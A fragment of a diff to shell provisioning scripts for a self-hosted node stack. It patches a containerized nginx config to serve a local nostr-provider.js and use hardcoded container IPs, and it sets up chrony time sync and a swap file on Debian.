sed -i "/try_files.*index.html/a\\ sub_filter_once on;\n sub_filter '"'"'</head>'"'"' '"'"'<script src=\"/nostr-provider.js\"></script></head>'"'"';" /tmp/ih-nginx.conf
|
||||
sudo podman cp /tmp/ih-nginx.conf indeedhub:/etc/nginx/conf.d/default.conf 2>/dev/null
|
||||
podman cp /tmp/ih-nginx.conf indeedhub:/etc/nginx/conf.d/default.conf 2>/dev/null
|
||||
rm -f /tmp/ih-nginx.conf
|
||||
CHANGED=true
|
||||
echo " Injected nostr-provider.js into IndeedHub nginx"
|
||||
@@ -1469,26 +1475,26 @@ LNDCONF
|
||||
|
||||
# Replace DNS-based upstream resolution with hardcoded container IPs
|
||||
# (podman DNS resolver 127.0.0.11 is unreliable, causing 502 errors)
|
||||
API_IP=$(sudo podman inspect indeedhub-build_api_1 --format "{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}" 2>/dev/null)
|
||||
MINIO_IP=$(sudo podman inspect indeedhub-minio --format "{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}" 2>/dev/null)
|
||||
RELAY_IP=$(sudo podman inspect indeedhub-relay --format "{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}" 2>/dev/null)
|
||||
API_IP=$(podman inspect indeedhub-build_api_1 --format "{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}" 2>/dev/null)
|
||||
MINIO_IP=$(podman inspect indeedhub-minio --format "{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}" 2>/dev/null)
|
||||
RELAY_IP=$(podman inspect indeedhub-relay --format "{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}" 2>/dev/null)
|
||||
|
||||
if [ -n "$API_IP" ] && [ -n "$MINIO_IP" ] && [ -n "$RELAY_IP" ]; then
|
||||
sudo podman exec indeedhub cat /etc/nginx/conf.d/default.conf > /tmp/ih-nginx.conf 2>/dev/null
|
||||
podman exec indeedhub cat /etc/nginx/conf.d/default.conf > /tmp/ih-nginx.conf 2>/dev/null
|
||||
# Remove DNS resolver lines and replace upstream variables with hardcoded IPs
|
||||
sed -i "s|resolver 127.0.0.11 valid=30s ipv6=off;||g" /tmp/ih-nginx.conf
|
||||
sed -i "s|set \$api_upstream http://api:4000;|set \$api_upstream http://$API_IP:4000;|g" /tmp/ih-nginx.conf
|
||||
sed -i "s|set \$minio_upstream http://minio:9000;|set \$minio_upstream http://$MINIO_IP:9000;|g" /tmp/ih-nginx.conf
|
||||
sed -i "s|set \$relay_upstream http://relay:8080;|set \$relay_upstream http://$RELAY_IP:8080;|g" /tmp/ih-nginx.conf
|
||||
sed -i "s|proxy_set_header Host \$host;|proxy_set_header Host \$http_host;|g" /tmp/ih-nginx.conf
|
||||
sudo podman cp /tmp/ih-nginx.conf indeedhub:/etc/nginx/conf.d/default.conf 2>/dev/null
|
||||
podman cp /tmp/ih-nginx.conf indeedhub:/etc/nginx/conf.d/default.conf 2>/dev/null
|
||||
rm -f /tmp/ih-nginx.conf
|
||||
CHANGED=true
|
||||
echo " Patched IndeedHub nginx with container IPs (API=$API_IP MINIO=$MINIO_IP RELAY=$RELAY_IP)"
|
||||
fi
|
||||
|
||||
if [ "$CHANGED" = true ]; then
|
||||
sudo podman exec indeedhub nginx -s reload 2>/dev/null
|
||||
podman exec indeedhub nginx -s reload 2>/dev/null
|
||||
fi
|
||||
fi
|
||||
' 2>&1 | sed 's/^/ /' || true
|
||||
|
||||
@@ -53,4 +53,35 @@ EOF
|
||||
# Apply sysctl settings
|
||||
sysctl --system >/dev/null 2>&1 || true
|
||||
|
||||
# Remove policy-rc.d if present — leftover from chroot build, blocks service starts
|
||||
rm -f /usr/sbin/policy-rc.d 2>/dev/null || true
|
||||
|
||||
# Ensure NTP time sync via chrony (more reliable than systemd-timesyncd)
|
||||
if ! dpkg -l chrony >/dev/null 2>&1; then
|
||||
echo "🕐 Installing chrony for NTP time sync..."
|
||||
apt-get update -qq && apt-get install -y chrony 2>/dev/null || true
|
||||
fi
|
||||
systemctl enable chrony 2>/dev/null || true
|
||||
systemctl start chrony 2>/dev/null || true
|
||||
timedatectl set-ntp true 2>/dev/null || true
|
||||
|
||||
# Ensure swap exists — prevents OOM kills on memory-constrained nodes
|
||||
TOTAL_MEM_KB=$(grep MemTotal /proc/meminfo | awk '{print $2}')
|
||||
TOTAL_MEM_GB=$((TOTAL_MEM_KB / 1024 / 1024))
|
||||
SWAP_SIZE_GB=$((TOTAL_MEM_GB > 8 ? 8 : TOTAL_MEM_GB))
|
||||
if [ ! -f /swapfile ]; then
|
||||
echo "💾 Creating ${SWAP_SIZE_GB}G swap file..."
|
||||
fallocate -l ${SWAP_SIZE_GB}G /swapfile
|
||||
chmod 600 /swapfile
|
||||
mkswap /swapfile
|
||||
swapon /swapfile
|
||||
if ! grep -q '/swapfile' /etc/fstab; then
|
||||
echo '/swapfile none swap sw 0 0' >> /etc/fstab
|
||||
fi
|
||||
echo "✅ Swap created: ${SWAP_SIZE_GB}G"
|
||||
else
|
||||
echo "✅ Swap file already exists"
|
||||
swapon /swapfile 2>/dev/null || true
|
||||
fi
|
||||
|
||||
echo "✅ Debian optimization complete!"
|
||||
|
||||